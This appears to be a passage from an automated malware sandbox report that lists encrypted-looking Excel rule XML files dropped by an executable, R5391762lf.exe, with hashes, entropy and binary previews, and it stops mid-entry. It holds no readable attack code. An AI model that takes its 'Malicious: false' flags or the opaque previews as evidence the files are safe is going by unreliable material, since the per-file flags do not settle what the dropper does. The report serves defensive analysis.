Encrypted:	false
SSDEEP:	48:0tLPmXtBik+Jg+Onrm+1NTOiTQbyFA+2XFuED:AmXfgg+Ont1NTTQbyuFuQ
MD5:	AC031C37DA20F4AF1F8534F7121E4ACD
SHA1:	6B4732861BB903C056B7FD54B115B38695F9A8D3
SHA-256:	C6378FFF5F47EDAD650C43364669F6A1BB14EA5FF16236421A564CACD2C01342
SHA-512:	C715473A50E8008581D0507A1DB1634A849E5EC2BFD3BF50A605781039C658544B1D63A772C7827E4D797ECBAF21502CFE0B40ECEFA1F41AD7CBA428C52A423B
Malicious:	false
Preview:	..1.0..\..!.-_..k........Vk....3....N....~..H0r?. .f_..@.HQ.W....7..P..Y.dD..m2k...;.4.S.*.B.o.=..9...4.gf8..S.Y.&..'..B...."7.....`./....O/..x7....U............Fx.N....a...o.C..n.U...8....x.h......}......=.(...L....X..X.,.w.)9..6....(.&c....R.[9x.N..E.@.k'...R..;.s....=.e8bG`S.y....~.U.M.....x...A...Uy.....U.]#.......9.h....&......}.6&.U..hx(.?.$/X:..t.m.0-.59...5,..P5...`.6/.q.?%..07..'.y..,.T.G"o.2Q{...g...xj....A@$.^....q...!...l....x...6....6...6..,.zq..'......+R....@.+..r...K.;!l".i...\|.00..E.br&.W..V..i..]...6.nF...o.+yx...#...s...W..K.{.....6...J...i....0{..}.u`.I\=...\JXUC6..w..Vk.M[8.E..%..o..:vk.Jx.....`..BN#.R.g.....L..O.aE..r./T........WQ...<...w...k;..b....-....WA,...t.x.....!3...8..I.N...D..T..X.~....x.yG.M..24k. ...DV...<1F3.1...U&.t...X..kn!..h]l.9F&.C....+....P".._I+T.b. ;..b.a`z.....].@U..../{.../.%..>3.?...G...pC..-......F...I$..V:q.7._)...I5.hl.&...k.I..:>..1.o...N.Q...j.Q..........F...3.Lg(b..]....F....G...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.530364236002092
Encrypted:	false
SSDEEP:	12288:JFBUaowXSZlV0N8x5thr291gess3TylunXD:Huaow
MD5:	D1467AA2ECC02AA5163805FD3E63F9A4
SHA1:	A6758404F6D108EB4EFE4F70770CA66EB0B5D1E1
SHA-256:	10C845819A9073521A2038147DE7BE37CEB69FF082B10A2929AA0B41203E3612
SHA-512:	AD50B5ECEAD6A1A1A7BF86968A4AFC73188BC428F7E5F6F00A2990DA948D91791F7E0EF6A9B6B52BD9C1B2E4CB6CA64B0F0C8BC5FB796E6DA7B4700DBC2E5AF0
Malicious:	false
Preview:	<Rule...^R$.....I.:..A.H..).2:9#Mi...$.M.......hInkv..j?H......{..t.......,$-.....'.?..hBQ..Tt.a...q....k.R.[...I..f...>.....R.B.........d...VOu.uM8W.w...Q._?.\|csH.....A....p..j..3.........k5.d.."'..}.OO...>...t0.....-a..L..6.h.V....~.....]3...Po.~.;/.W.g~..Op$.8g....,..<.\|.S..M.....i....%..B..Z...-.q...^.&.U...j2.....=.&..^W..6.Fb..wX..L.=V.....B.....x9...r.n..m...` .. ...........8.L..b.....E.q......._...x..3..0{.7...v...xP\...M..U...M..k..d...f....?}Z..B.D..dM.d.O...[.bHJ.b..5g./G+.!]Jx.J.C/.c..kK.;R..Og...G..MO.}.&.;Y.p]_...~.....Pi...L.`.W3..\|..[..\^.....8:.n.01+.....`.~..<.,[...1.....Vd.z..?..)x/....l.\|........~..sA.j..h....lXKS.A.d.a........P..vW.3.C.4..........Am../.G0..T.L/.G..:...3."0m7F+.........9JRpD.sw.l}.\.....A7.7K..`.......zzbS2li.....0tT..I.?..;..w.\|>^....AA_.gn...$....J.H...6.y..............J..;8..n7..r...~..<.gW...=,..Q=f.R.U~Qs..9"V.c...5..}..W.....3........h.....3.ja............$..?vt.j..a.........8_10.:d).B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.729127591492927
Encrypted:	false
SSDEEP:	24:4q52ef9WVloa0PgFBJp9wrb1/7Lh7xcXq8uWbD:Ge1WDY4B36ZhSXFuED
MD5:	648C6CCE33D30FE09585F40437AA24B0
SHA1:	CF37CB8605F6B3076C2C8CEDC85923E077565706
SHA-256:	C020A6BBF3ECF74CE2436D599302B30756194532644E19379E817EB00706B2D1
SHA-512:	37185B01298BFA478B97EAAD0179524A1BC4FA09EA6CB85A34F8F37AAB65D69991880784D26F79E7B82C53D9287D990F729C704AA7A32216373EFB04AFF460C6
Malicious:	false
Preview:	<?xml....uLr.I..'.a#4...5...%.0.Jb..9....P.`0...`Pi.[.c...;h!E.].<IX.,b.........mr.[T.P...s.......<;F..x.@hH..g..%/....ssk/.,'5..q5....8......c..e...O[}..2%..aIO.s>G.b..H..H..\i....(.Rn..h.e.l.&._L..^...]....m.........&.W.iJ.?........4L.K.......L..-....ln3u...-]..H.X.F....(o>.T..=t......P%{.?Q......qw...F......q..Kaj.;[..&y.y./........8/.fqw....G[........Y.$.#.*..h9..:...c..G.4.!.L.]...=.a......e.d5]ZK.9.B>.e..(.v.e..[....J...K..r.w......wXbV..n[..a.Zw..p......M.....g-.!.....rlw. .LLW..T.......L.q#.W.2..s.W....`.; ..G..^).t..}....68..:.Ly....~......2...':B..o.o..+J.......rZ/.^Oe6=E..R...%.......A..R.U'f..+..Q..(m.n........$.!"....n._1....z.}.R=%.)R=R!.b......=..+..gP.]x~...=...Mkdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.746776705721812
Encrypted:	false
SSDEEP:	24:RrrZ1WvSbos/WRCUjhL6XWJGUub2cWXq8uWbD:BYaWAChLbUUXFuED
MD5:	7282C89D785E42E5D9C256BFE96391A0
SHA1:	6555E02AF86F3A8B9AA0DADB2FFF2B557B9FFF41
SHA-256:	07CC496BB967EE01C3690978F359C09D070980C5BC981D21ECDA167616B8763A
SHA-512:	DD3E14870E2BD32D012D44720FC95FBFFDF853FAD9A65793DBA99E635B2F439E1F6641CD57B42D95EB71FC1E29146A87A2A96B381FE398BE6241DDBB277FFEC4
Malicious:	false
Preview:	<?xml.B.a.F...*.......].{..2.m.c`4...........U.....<..=&...-.....t6...CM:...=.X .P....Fw$.BhuTR..1..W...k.k..r....#..n..O}\~.82.&..O... {.K\|.$.P7}!.`?...$....(..}v....p...WH.w.>-.xM..a,.N`.....$....2...]P..D.....N...(.4%5.n.>...Y..R.FHM..e..6s.....C...=.o,I.s._P.~.f.UIX..^zz...9.J^...l.i.Y...f.%t. n,........u..XJH.d..:S.....8.]...Q..J..+."./...p..T..4ak.0..4...7YS.......P.h..v..._%....6...zD......=.G.:.u4Xml<(<...=.$c..[.Z......s.C..U. ..U...._...A.,..4<s....P.....W9.....G.W.u...}..+RI.n..M~{..\@..g..U..ax.}.....~._....S....I.%...N........6...W~..Q.y..v.&.....C)$............(r.V^Gu8...3..../').-}.......d..I...+.....r.......`.J..}.A..:.&...K...u....W..&Nj....$.A$......l.y....>.P...7.b....p.Q...R).doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.66496263735401
Encrypted:	false
SSDEEP:	12:L8xDhyNj1NbYyOtCeDXSLEo57Ceo3/4UC2vbtHpbVMPmrusznXck97vQomgJ0/TB:L8xmJNcgogEo5Jo3/PIi77vSge7arxzM
MD5:	F96AFDA7A03C10D9D632175596651D47
SHA1:	F6C67F25E6A8EF00D67B8D8F72BC41FC7FF3C169
SHA-256:	0B7E453DA4434F53AA3043CA605D9AC0B9359BC50B731511BA39198725D77395
SHA-512:	51E216379EE79D7F275CD6493322707CAB67378618A1C30629E5E21F25827722A5B62439020678F9F716D431BB29CD840A168C29BD7A3F3AFC811DEB443C9549
Malicious:	false
Preview:	<?xml..ypn.8.J..A /Q...^..n..,..'...S.`.T#2x.m.h.S...A...T:y.7J......o...)n...P.oEl`....n:\{MQ...f.3.....h..iA...mf?.!...(..T3.k.=y.i...k4..k.N5\|....."....@......\|w."..-...... 6........s.C.w.........GuB<,.n...-3...r..@.K......SM.Cd....E...U..<Bk$.o....]..b0{....z..r.A......>.C....=...Yr.....k.&.=.F@(.k8Q.^....O...2.C\|1..B.}.......<..TH.(z8C\.2..I...>...[...[.4..6X......~.#>:.k\.......b.....h.....A..4l.c.v.~..i....3.tSV.)",b2.L.......q./...M.....}..')......i8....6Z.$.^.#X..>....p......[k..\...U......{...x."....h.9.N.......K......M..,e]....m...{m..e.6...c..pA..t.0?...K:.[...&,]..l.R..I.......H..lhqQjw..h........5`...2;{...1U#.pdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.731438651033967
Encrypted:	false
SSDEEP:	24:c5Ih8esTBbJmexj6nXg8KC6VOZKXq8uWbD:jh8juexj6nQW6gsXFuED
MD5:	6047F3F46E17AA5DB124379AE745EB89
SHA1:	BDE292BDB8BB682DA3F5D6902851171A2A316A9D
SHA-256:	BEB4FF987984005698A842F2AB4522BD0E6F6A4BAB1CAEA6F01AE497A47F2976
SHA-512:	9AA32775D0609BCE923A3FB9F48A590437BE857FD3453AC4FD8689EC86A4219AB572AE3C76D753D1FBFD0691F1839FD809F224693199EFD0625ABD3212291A3B
Malicious:	false
Preview:	<?xmlK..&...Lm...}..c.L.....bt..O.. .Np......9..j..2....1u$\|...0.p.!..>.(..'..#'.q.LQ.......#.....@_z.......9..x.s..:...G4.O.%.km .^.{. .:.Ih.../..`V.f.....r...n.n..jNEp..yt..1/..7.%&#'...3+.)..]&..Rs.>..J'>.....b.k ^)..a..7.^...a...A.....R...b.......\....0.]\|F.;.I7....`.C.&..@D..6X.......Y..~b.-.i...{.INFR....W.k>....G.f..~N.....8..Y.V..i.:.g_..6..+.R3. ...~......t....k~...wg8...;...w...d..f...F..C4s..s......X%...[p.O;=.G..%.~\...0+...<aLMWY.}u..{....gwgM."...x...Jz..5.B......'..%f\|H!...x..,..3....2........=.J.9i....'.S8......c>.F@l]NP:IgD..i..u.y.N...._\..4...X.+p...X..Q.\s.ki..I.G.(....WV.C......j..{..X.P.....]j.....`<f.....0.m^.......I.o.P\X.x....?..P5Rl......a.q.-doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.71967381723436
Encrypted:	false
SSDEEP:	12:iF+xGC858Vo1omwfKszKht6HXspuYCAW0Bg4+FckqrLA6pnld3BMVRT0y+C3lJvZ:c+xGTB1oFfJzKht6H8YA/C40cflpnTyF
MD5:	2B6EBE8784AEE812E6F7E01B0605E6B9
SHA1:	AA6E2D1205854AC75B6D71CCA3899CCD1C73F749
SHA-256:	913ED4530704DB6973B1CEDA6D2007A513817CE6CBBCFDB6828F920029AA57C9
SHA-512:	32D08D34DE8E909425737BD1B818297C18043EA487B11E898B719FD4E8C8845E826B24D2DFAFC317EB44F001B5FD9E06FD4873BB3C756CE1D7F204D81F9A3F59
Malicious:	false
Preview:	<?xmlR.G(g.CD..`....U.:.~.Z..C.....q......#...M.> Z.~..x..(.....;.,.1.dV.. ..............r......?N\.4..#>...e.C5...P.....;"5..I.B.......j.%U......-..[.Vj...........r..k[_...........Q...."...........m...:pF.g^.bo.................a.....Fx.......y..0....j....w...#.o}..#...r.B.u.N......`8.Q.\.r.,`.,A....c.......Hp4...i=.XP.V....P1"4*....P....Jn..7.....>.Rv{..?G.&.......c.q.,O.Q65...,..$y b..B....@.Y-..)..S.'ER... ...7...N.k.......[..'T..5."...B._T.d$A....._..i.......%[u.d....L.\f~pv`..@P.q....v.U....m_.U_....n.4\.U...........P.......6/..\./@...cG9\|.B..O....$)cp...$;......D.e>...ug.Of_1&f4u&..........Y)H..P..3..tR%l.......ey.%O.j...t.w.\|9x). !doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.72053417413586
Encrypted:	false
SSDEEP:	24:+4yQRPuaLaLV2yIf3fjiNyU0EMTXq8uWbD:nyuPrWJKPfjux0EYXFuED
MD5:	7952D6A1275AB495635FB78AB4250154
SHA1:	39CB330488DD8D485BC85B73F47DAEC557B4D426
SHA-256:	539843E84720D045101E0AC3A25A84B82E68E6194C0556C2EE4E32BF9812B513
SHA-512:	7503CF02A3253A5053635B4289F24812EF5297C1421D816B312F6EE71E4B6B64B099164B9084DC63B295E7C56177E1585F145A0828950BD7FD8E60584701E4E4
Malicious:	false
Preview:	<?xml.2............f..+..on..\....5.~n..3T/.....MS...Q.....2&W....Cpe.e..C.B..&+di..SWH..]1..Q....]..S......m...?....S0...L.nX.P~...w....&h..7..@KPl..jK...R;.v"......%.r.(l.:4..H.c..<.&.o.)h....".......\.Y...E%.T...x..*..<C.%.;.d........YT...M.\|....W......b...qu.....M4P.ghP5.bX.F.c.L.....e.>..........\|..J.......S-3..j.J...J.v.........4....../.B.k.....YW]..O. x4...M`_....0...j.R.&....".T.b..'....R..kO....6....i....... Yp..iH.T..-.#...ju..D..L)GUf...R........B..`.,..c/...?dEl.1.:TO:..=..o..t(..o..+..I...]8.v.c..j....5.....<WV..<....._..s.}..s.-....G.......&.".S.d....J.7.h.s$..XS...%.8.GN.+T.......k...X.#.88..24..'Q..?..6B_.z.!....6wV.3V..6........q.;.h.....1J/.Xt..........L..:....}......?.....,..i..e..IX6KV..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.695593984582403
Encrypted:	false
SSDEEP:	12:DJZbI08nFavPXFRvmKgrmQbRwyiQ5AhUEWS6LnBi0AohspXqOTuWcii9a:dEIvyKgD9xiw1S/fpXq8uWbD
MD5:	6D158061188ABA9308A3BF06B76D6808
SHA1:	03047E895D4512303AB2AF9412B99B531CDFD1ED
SHA-256:	0F132B37911563FCB6E8DB025CF0316C9F9CF92B82D754009EA3667F8B502250
SHA-512:	D11CD2840A2E700E3C5C692219684F6BA4AA0613787BA363D599A57766507321C9B2C619878E7AE76900E5EFD8CBAE2A25DE44F73CC28B65FAAF8A6696D4D5D6
Malicious:	false
Preview:	<?xml..;...`.U.j...c.......=....pN2.....W..$r."6...."f.,d...4...[._..]ef%.y........up.....@.....Eu...0.{........N.:..`j..^.A.;...%{K..Vv.kr.1..v..^...2....I...g#.%.;......l..d"...0.l~&..Jf....p.Lh-..w..io.b.8.....;\|.B..:..x...7...X:m. ..l..8...LA....8........vz8.(.}-.......(N..i.~....C...D.j1..;$.u..m..&....wn..i....).j.M.w.G.i.Z$.Ba.E.]........3\|.......>3.B.&..~;...8VL`.t}.w.z.0rW$s,).....%cc.Z.&...k........r`.@w..M...Q.Q.-......5.jmI... z.......[............]..P..u...H..f...<...J....@.]..._.......}......~{r..V..\|.$..~@t.8.........5./s.IZ..o.zqr9k.i......^.i.u...$....Z....B.D...`.k.U.......m..y'0j..I..d(<?oW..$doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.703082588117846
Encrypted:	false
SSDEEP:	24:+Jb3R0vALwa/lSvFZawnvEG9dHQY2LQZ3O7Xq8uWbD:i3TLb9SZvEG9ZQYMQZ3QXFuED
MD5:	2BC4ACB5D4C351B17ED25AB549B8C02E
SHA1:	6E589AAB3E4E5865FFA5290A3DB0F83F559C8896
SHA-256:	5F1A1078B5A178D7AC8E7F4D2C0A02F93224E7A4C1AABA366547E2A77457E260
SHA-512:	28C0F26D3D7FAF7489E2490ACCA12359956C1D48A33809061CC10C0A898092A3B5B4DB54F612F11A908CA9B403B0DFDA9A5D23E0FA74AACD506C26172207E747
Malicious:	false
Preview:	<?xml.l.@N...........OW.s%.Sq=...(..........7.lF...H.h..i.M.I...w..p.B.hIr...1#5..Ji...l.=^..I..m-.....6[......._..6e..c.F..o.{.L.....b.Y.....M.+i..m.N.....o.V..j.y0+.D...5.....H...1.o,.i......... ......\|.CK.Z..#...o...2.$a.8I....t.4.:...=7.T...[.fl!......qr.......4........./..#BY.^u.^U..%F&.n.E..F#OP...6..h3xI..w.8...3...#T..-G...wd.(Bp..td.n..._..?....G.q.G\|?H..u.3..zJU........!".'..\|.T.3.u9.M.....@.D.W....+..fC...?.bdO.....W.Z^L..ai...x..>..Q...2...].7...C....h..7...;..K.U1{.^..!.....\|.M......Zm.j]y/4..5......0U...st....9Y...}.h....6...f...u....5..qKj..+a....(..i....~...%.$\.Z.....]..\.r.xr........t..p..3...}j....A..+....5o..=ao6H...Z...N.l.....q.I.%9.........e.o...s?...D-...^h3..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.711709219373451
Encrypted:	false
SSDEEP:	12:haIaKEXLwR8CnFiC5cC+wboL8DrmAWx3ip78PBsoBJ2QalHIm2rdwYfu99bjC+m+:QIYzJC5wwbFrmZxSp78Pug4QOIdwY1+D
MD5:	C945EC1C6D322EA1271331A2586C21A8
SHA1:	1F55DA57F9CC1FDCCC67CFED77F23683E11F27D0
SHA-256:	925DA2275CC531DA11B8A076AD50CEE00361FE4C82B81A1C866A5F4D10F6E308
SHA-512:	7AED8E405A3114F6C5B30F9FE164CA6FF2C46A3FC9749CC7BA9C780897C396E43EB155B276ED1843F166CDB2354B3B271AFD657C4964B24B6B2700C8AB93BE25
Malicious:	false
Preview:	<?xml.t...+9^.. .w#u.J'..UQ....l.:E.-..q2N......"..^.Kg+y......+...$.r.o...z$.xO.^.#G...Q..c4..\Dej.\^..3.....9....N}~........%.N..^.. .n-.*..............."l....[...Cd.........U.[V......G.h.hn.sM.%#..('=WPR..E]4W.5.O.....8.....@.v...{.7.C.z0)...ao1.7Q...7...qV.<2..\|.4."......k.@..c.Hh..;.?.DV..C......q]..._..2........l.B.f......B...e.........<. &...N9}.&......)(M$....-..<.!whfyB:...m.CUy...d....ZG?X..^_o.q0......5/c..R.Q.kstIV.\|.....v...fts..4...c....(.s...'.......n...&.c.S.6..N..A4..Q...z.t.X.......O.......j.Q..L^..w"..f..._.j\|.GNs.(.T...../.:G.....6S..+ikU..}Z...HeV>N..8.e.Y.I.wH....!.G..)......k...._..:..7`..qGZ.<,.-.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.738208455513689
Encrypted:	false
SSDEEP:	12:Wvq/sJw48GInpzrMIWz5Sx9L2TyPWrbLNm1MMahnRyrP5aXXqOTuWcii9a:WvAsSnMC9KmPqLNm1FaDyToXq8uWbD
MD5:	97D5AA2F7569588F35232BF4C58CADC6
SHA1:	95EBA76FB8DE01E75E6F7464076631E9D8F25D43
SHA-256:	702EA6641EC0FE48D19BF9DBD7D70BB0B618C45793F063EAE1E4183510AD0083
SHA-512:	344862E4833ACB38F50049CF79EDE64C324985E0BF7D86CD3C741A2172AA7741905C80F7B734F88582ED11D4D5B7B1C3CBDF230EBDAF158721B1EBA0624B8B2A
Malicious:	false
Preview:	<?xml.......U.........k.....Q.l....L..W\ RU..u......c..Z.]o..I.C..bs....Hc.........-.U`$,..i.Y.0........q./!....7.8C.w.wk..u;..r.....%A.#OV.....n..q.}..ar;'.1n....(r.8.A..Q .YEX[~.....B3..W.%_..9;..kV...ml........n...I.?.u.^......ln...-.....(R...d.\+0l.t......N.2.....' ..U..^".kYRo....h.-.x..0..!$.>..P.L.Z...A..3.Z.wW...Ps]F.[D...<(..!..<.H.....-..@w....^.....O[Z.l.)..rc.v.`i, .....B4n.....]~p......0.&..%g.i............,.m.....7e.m.1..+...#.....lN.C.......(.U....9.......\H............}...s*`^4M.L.+!k.Q.W..<WW....\|...I#..G.-....e......."3..I...../M...:C.j.(...-.2._..T2e... NE.n...Y............O.g...x9qFVI$0.9w...i.Wl\|E..V........y.bv`.E.^.DGY..m~...........:........%....%....4.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.760687682214886
Encrypted:	false
SSDEEP:	12:4GYqV6So8kb0yJUa+vAm9uSHkZIVm3p8OyAH6t2DUzbmcmLutXqOTuWcii9a:1Y+6So82aomAksZH6t2WlXtXq8uWbD
MD5:	33BB3B997DD675BB41D9A889764D15D6
SHA1:	D50078F511CEB182023932ECD9DEBAF5DA98EDDB
SHA-256:	1E7AE07E9FD1293F3D25C5F6EDD58DCF0529A2A2E7425E3769308A3D79289D6B
SHA-512:	11C58C763D538386534C1A957FCA2064D13FBCAEF6F749BF54CD506BBA96EFECDF50809CAA4E6CA1D22FB13791FADB58D324B71FAA9308656E580524DFFC9856
Malicious:	false
Preview:	<?xml......-..F}.z)F7.....v.H/.Wr..>...9...V.,.+....[2..}4..m..q..q......F....>.....a........U,....v\Z......8...8.o.>R...nM.@....q....gj.ID..!.; ..(x....M..SW.\...y..;.t.X.....A....T.k..0G .-qWHj.%Vvd.X.'@iB.8..X...s.C.`.E.......o..u.B..Q...s.\s>t.lH..Z.)..\|.......os...D.t...q..L8.....Y...O...[..R.Y'.F.Of....#.Q=r....F.....U...;...C......1.Oz.......='.`?.j..^_.<..<K.m..e>...:.0...........V.p...n.....Ki.o......N.l..6G^PSv.....a.}..Kz..y[:.....7.f...`...^3#.k@...GJ.A]..Dx.y.>........rolHl...}lZ..p.5...o....a.t..CVP.9.3.).....:$.GP..m.@.`.0 /.oA.IvD.~..FF>wT.C..t...V{/-.>.....p.T.......n...w.OUn...wr!#.5.c...":.d.!_..0...(..[..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.719823713898893
Encrypted:	false
SSDEEP:	24:2GvQCiKvR7jp5dLHy9ch5IZTVZP2KAgYNzccXq8uWbD:P3vR79LHelxVZIl1XFuED
MD5:	39AB33DD4ABA6D3A8D5E8099B2F790AD
SHA1:	CA84A08D5C5F05E69E474F36F4DB2A39817CEA4F
SHA-256:	190052F48A8187875CD4086358A77A5C6B3B9C516D7AFDB9F4D0874A30D1D69F
SHA-512:	309EAE49A31E041CC56C0DCDD9B0553EAD9FDFD00F2D52F75F90EAC3C0C487B153F92383DCB2A5547DC54F9B19317543A94060E6962C6BF5270B1D569CD5CE49
Malicious:	false
Preview:	<?xml..^.....n.xY.:.eY.......%.,T.....f..`..i......`.. .C...\Y. <\....>'.. .....'.....gP...<...D'j.....?v......<G,.l...-.....@.K....YC6.~.L.G+..._.......2......my..4......]..AD=.$..6......dD.d.9...1..1m2T.B..i.@..^c,.. E..S..?..&.?..iQ.7._.\|....N.....d\.x."..6T..}..(`w.[V.0...?e...L.4^@b.dC.P.l+.bg.D:Jku.G+Q#..{\.5c+\.b...6Y.<5..e..D..m...6<G...?.O/&.oX...Y..Z.ng1.q..z[K..V+wB?.. ...b.g]..O..L..47pMI..Bd.Me.......8....U......... ...q.+.1y...+A..?.R...j2.Pt[.....kk.....(..W;....{k...........L-...t.+......o. ...(.&<+.I.0.y...[293:?A...M.e...^....4.......g.<...9..s.%....C....Z....l.N.s... 7.;.=m..2.'\|enb..9$...0Vh...8&F..v..........j...'7......1...9..u.JQ.......8.R..8.!_X..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.737862030039897
Encrypted:	false
SSDEEP:	12:+p6mJLgCXpRCyl9lZcTGLlz3So3blOClNj8s9oh6+8QypcGRaHEPjLXeXqOTuWcq:AjdH79eoLlPnos9oKQNG8ELLeXq8uWbD
MD5:	459468BA01939CC7BBAA303E72516A42
SHA1:	2B571F3D887BD4C4E10A66C9CF3666BFA19F4250
SHA-256:	D5B8F6370410B2A7D7E54A73AF65D3FF249C82F95A1FEB24807C77BACCF06156
SHA-512:	74D9BD13BCB68FD917572456EB1AE7EB1439B09088CEE5C299C4124D7904CFB62C6CD016BEA21EEF21E9504F1BECBD4CA491CB28462155F20967D9EE3DF625AB
Malicious:	false
Preview:	<?xml..Qpi....^W..pU...?.m.,.)S.......8.\|.z....our8.....G7......:5Q.!.......W...1.P.x.)O.....(p[...1b.\|..o.3.2....)L.dv.....5.8....1.T.n}.p.......y......3...3.k....(+..B`........v]...a.vbt...Z..w~A\|.sj..@t. .A.#.\|A.8w.s..;.G......3....j......J@......C...:..:....yj..).f..w#<#.\|....@V..B.[.(.C...=I..s.&,8x...R:\|.zU.i-4z.w..\..#.VS...J._k..t.<\b#[{?1..f_....}/T.b..\|...0.I.Js.k.^.....dD.U......D..\|..h..(V...:.y[......(.^\|......].Bp5....#.kc.........7u........Kg...P..gxS.um.O..U+..' .L...r..G.q.Q/.T.p.../.z.U...H..act)... ....!.Q...8H...}...6.. .t.6p..<../1.U.uL..f..h....u...XHth&.t..A$.Ke#.l..w...$....>........}..b.p....s. ...p..~......doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.7183154074774825
Encrypted:	false
SSDEEP:	24:JhBNNqWwrTbeIL0RUQLK4Xdaw6Xq8uWbD:JTM/0zTXMXFuED
MD5:	B6A3A28396D37A176C5C7E9395D08079
SHA1:	9773105A20BB4640B48207F46F8B804ED9E71603
SHA-256:	FEDC56D495758D9464478D16798C68CB4A72B9822E522179FD70AB8754E3239B
SHA-512:	442A42A095062849BE2B6D3D3408D11C899D72B2A2C730549864FA1294AEB51B841D4234BB922837D700D7269B78D2240832CAF4E647424835C68D77484616B0
Malicious:	false
Preview:	<?xml...([...d.D.r.W5.4.@v7..+.ft......:....h.Im..;..\|.@...>.....dl.L.=\|..u.~:4...0R... D....jrG..:mcL..1....../uS.>C...p..<./.P...S..h.?...#...o.T.u..?.H'G...Ub.q..%....i.&...m..L.p.9a.~`.iV..&..M.n.1o.3.......}.#W.W.w..6............}.nK..h. 